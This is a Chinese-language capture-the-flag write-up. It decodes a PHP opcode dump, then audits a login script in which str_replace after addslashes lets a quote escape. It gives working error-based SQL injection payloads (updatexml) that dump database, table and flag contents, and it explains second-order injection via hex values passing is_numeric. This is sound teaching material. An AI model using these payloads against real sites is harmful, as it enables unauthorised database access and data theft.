Vld

Vulcan Logic Dumper

查看网页源码中有注释<!-- index.php.txt ?> ,打开获得如下信息:


Finding entry points
Branch analysis from position: 0
Jump found. Position 1 = 23, Position 2 = 38
Branch analysis from position: 23
Jump found. Position 1 = 26, Position 2 = 35
Branch analysis from position: 26
Jump found. Position 1 = 29, Position 2 = 32
Branch analysis from position: 29
Jump found. Position 1 = 34
Branch analysis from position: 34
Jump found. Position 1 = 37
Branch analysis from position: 37
Jump found. Position 1 = 40
Branch analysis from position: 40
Return found
Branch analysis from position: 32
Jump found. Position 1 = 37
Branch analysis from position: 37
Branch analysis from position: 35
Jump found. Position 1 = 40
Branch analysis from position: 40
Branch analysis from position: 38
Return found
filename:       C:\ctf\index.php
function name:  (null)
number of ops:  44
compiled vars:  !0 = $a, !1 = $b, !2 = $c
line     # *  op                           fetch          ext  return  operands
---------------------------------------------------------------------------------
   2     0  >   EXT_STMT
         1      ECHO                                                     'do+you+know+Vulcan+Logic+Dumper%3F%3Cbr%3E'
   3     2      EXT_STMT
         3      BEGIN_SILENCE                                    ~0
         4      FETCH_R                      global              $1      '_GET'
         5      FETCH_DIM_R                                      $2      $1, 'flag1'
         6      END_SILENCE                                              ~0
         7      ASSIGN                                                   !0, $2
   4     8      EXT_STMT
         9      BEGIN_SILENCE                                    ~4
        10      FETCH_R                      global              $5      '_GET'
        11      FETCH_DIM_R                                      $6      $5, 'flag2'
        12      END_SILENCE                                              ~4
        13      ASSIGN                                                   !1, $6
   5    14      EXT_STMT
        15      BEGIN_SILENCE                                    ~8
        16      FETCH_R                      global              $9      '_GET'
        17      FETCH_DIM_R                                      $10     $9, 'flag3'
        18      END_SILENCE                                              ~8
        19      ASSIGN                                                   !2, $10
   6    20      EXT_STMT
        21      IS_EQUAL                                         ~12     !0, 'fvhjjihfcv'
        22    > JMPZ                                                     ~12, ->38
   7    23  >   EXT_STMT
        24      IS_EQUAL                                         ~13     !1, 'gfuyiyhioyf'
        25    > JMPZ                                                     ~13, ->35
   8    26  >   EXT_STMT
        27      IS_EQUAL                                         ~14     !2, 'yugoiiyhi'
        28    > JMPZ                                                     ~14, ->32
   9    29  >   EXT_STMT
        30      ECHO                                                     'the+next+step+is+xxx.zip'
  10    31    > JMP                                                      ->34
  11    32  >   EXT_STMT
        33      ECHO                                                     'false%3Cbr%3E'
  13    34  > > JMP                                                      ->37
  14    35  >   EXT_STMT
        36      ECHO                                                     'false%3Cbr%3E'
  16    37  > > JMP                                                      ->40
  17    38  >   EXT_STMT
        39      ECHO                                                     'false%3Cbr%3E'
  19    40  >   NOP
  22    41      EXT_STMT
        42      ECHO                                                     '%3C%21--+index.php.txt+%3F%3E%0D%0A%0D%0A'
        43    > RETURN                                                   1

branch: #  0; line:     2-    6; sop:     0; eop:    22; out1:  23; out2:  38
branch: # 23; line:     7-    7; sop:    23; eop:    25; out1:  26; out2:  35
branch: # 26; line:     8-    8; sop:    26; eop:    28; out1:  29; out2:  32
branch: # 29; line:     9-   10; sop:    29; eop:    31; out1:  34
branch: # 32; line:    11-   13; sop:    32; eop:    33; out1:  34
branch: # 34; line:    13-   13; sop:    34; eop:    34; out1:  37
branch: # 35; line:    14-   16; sop:    35; eop:    36; out1:  37
branch: # 37; line:    16-   16; sop:    37; eop:    37; out1:  
40
branch: # 38; line:    17-   19; sop:    38; eop:    39; out1:  40
branch: # 40; line:    19-   22; sop:    40; eop:    43
path #1: 0, 23, 26, 29, 34, 37, 40,
path #2: 0, 23, 26, 32, 34, 37, 40,
path #3: 0, 23, 35, 37, 40,
path #4: 0, 38, 40,
do you know Vulcan Logic Dumper?<br>false<br><!-- index.php.txt ?>
  • 查看资料知道这是php的OPCODE,不过大概浏览也能猜出来,这里判断了$_GET['flag']
  • 所以测试index.php?flag1=fvhjjihfcv&flag2=gfuyiyhioyf&flag3=yugoiiyhi
  • 得到1chunqiu.zip压缩包

1chunqiu.zip

源码审计发现login.php也许有猫腻


<?php

require_once 'dbmysql.class.php';
require_once 'config.inc.php';

if(isset($_POST['username']) && isset($_POST['password']) && isset($_POST['number'])){
    $db = new mysql_db();
    $username = $db->safe_data($_POST['username']);
    $password = $db->my_md5($_POST['password']);
    $number = is_numeric($_POST['number']) ? $_POST['number'] : 1;

    $username = trim(str_replace($number, '', $username));

    $sql = "select * from"."`".table_name."`"."where username="."'"."$username"."'";
    $row = $db->query($sql);
    $result = $db->fetch_array($row);
    if($row){
        if($result["number"] === $number && $result["password"] === $password){
            echo "<script>alert('nothing here!')</script>";
        }else{
            echo "<script>
            alert('密码错误,老司机翻车了!');
            function jumpurl(){
                location='login.html';
            }
            setTimeout('jumpurl()',1000);
            </script>";
        }
    }else{
        exit(mysql_error());
    }
}else{
    echo "<script>
            alert('用户名密码不能为空!');
            function jumpurl(){
                location='login.html';
            }
            setTimeout('jumpurl()',1000);
        </script>";
}

 ?>
  • 首先这里打印了mysql的错误,很有可能是报错注入
  • 另外有这么很奇怪的一个操作$username = trim(str_replace($number, '', $username));

源码分析

dbmysql.class.php

 public function safe_data($value){
        if( MAGIC_QUOTES_GPC ){
            stripcslashes($value);
        }
        return addslashes($value);
    }

magic_quotes_gpc

本特性已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除。

为GPC(Get/Post/Cookie)操作设置magic_quotes状态。当magic_quotes为on,使得(“,’,\,NULL)被一个反斜杠自动转义

addslashes()

函数返回在预定义字符(“,’,\,NULL)之前添加反斜杠的字符串。

这个函数其实就是为了安全处理这些容易发生危险的字符,但是addslashes真的能完全防止sql注入么?答案一定是否定的。其实这个函数本身没有任何问题,出问题的程序往往都是对这个函数的不正确使用造成的。参考文章:代码审计之绕过addslashes总结

is_numeric()

检查传入参数是数字和数字字符串则返回TRUE,否则返回FALSE。

因为函数不仅检查10进制,16进制也可以。所以可能产生二次注入:


$s = is_numeric($_GET['s'])?$_GET['s']:0;
$sql="insert into test(type)values($s);";  //是 values($s) 不是values('$s')
mysql_query($sql);

当我们把1 or 1转换为16进制0x31206f722031为传入,可以通过is_numeric的判定,但数据库中会的到1 or 1,如果再重新查询这个表的字段出来,不做过滤带入另一个SQL语句,将会造成2次注入。

trim()

函数移除字符串两侧的空白字符或其他预定义字符。默认移除字符如下:

  • “\0” – NULL
  • “\t” – 制表符
  • “\n” – 换行
  • “\v” – 垂直制表符
  • “\r” – 回车
  • ” “ – 空格

is_numeric和trim导致的判断绕过

str_replace()绕过GPC

$username = trim(str_replace($number, '', $username));
  • 这种写法有点奇葩,一看就是考点
  • 这里$username已经转义,如果是NULL字符将被转义成\0
  • 如果$number=0;$username="\0\'",则移除0后单引号将逃逸,可以产生注入

注入

尝试POSTnumber=0&username=a%00%27报错,证明可以注入,这里需要注意因为0会被删掉,所以无法用十六进制0x作为where的条件以及concat的字符标识,concat中的标识符可用数字替换。


# 爆数据库名时不需要where条件

select group_concat(schema_name) from information_schema.schemata;

# 爆破表名时可用database()代替where条件中的0x

select group_concat(table_name) from information_schema.tables where table_schema=database();

# 爆破列名虽无法替代0x,但可以直接从表里全部选择

select * from flag;

payload如下:

# 爆数据库内容

number=0&username=a%00%27AND+updatexml(1,concat(123,(mid((SELECT+group_concat(schema_name)+from+information_schema.schemata),1,32))),1)%23&password=asd&submit=%E6%8F%90%E4%BA%A4

XPATH syntax error: 'information_schema,ctf'

# 爆表名

number=0&username=a%00%27AND+updatexml(1,concat(123,(mid((select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase()),1,32))),1)%23&password=asd&submit=%E6%8F%90%E4%BA%A4

XPATH syntax error: 'flag,users'

# 爆表内容1

number=0&username=a%00%27AND+updatexml(1,concat(123,(mid((SELECT+*from+flag),1,32))),1)%23&password=asd&submit=%E6%8F%90%E4%BA%A4

XPATH syntax error: 'flag{ec463bf6-9f46-4a09-bda7-ebc'

# 位数不够爆第二次,别忘了0会被删掉

number=0&username=a%00%27AND+updatexml(1,concat(123,(mid((SELECT+*from+flag),21,32))),1)%23&password=asd&submit=%E6%8F%90%E4%BA%A4

XPATH syntax error: 'a09-bda7-ebc9dbbaabd6}'


# 拼好flag为:flag{ec463bf6-9f46-4a09-bda7-ebc9dbbaabd6}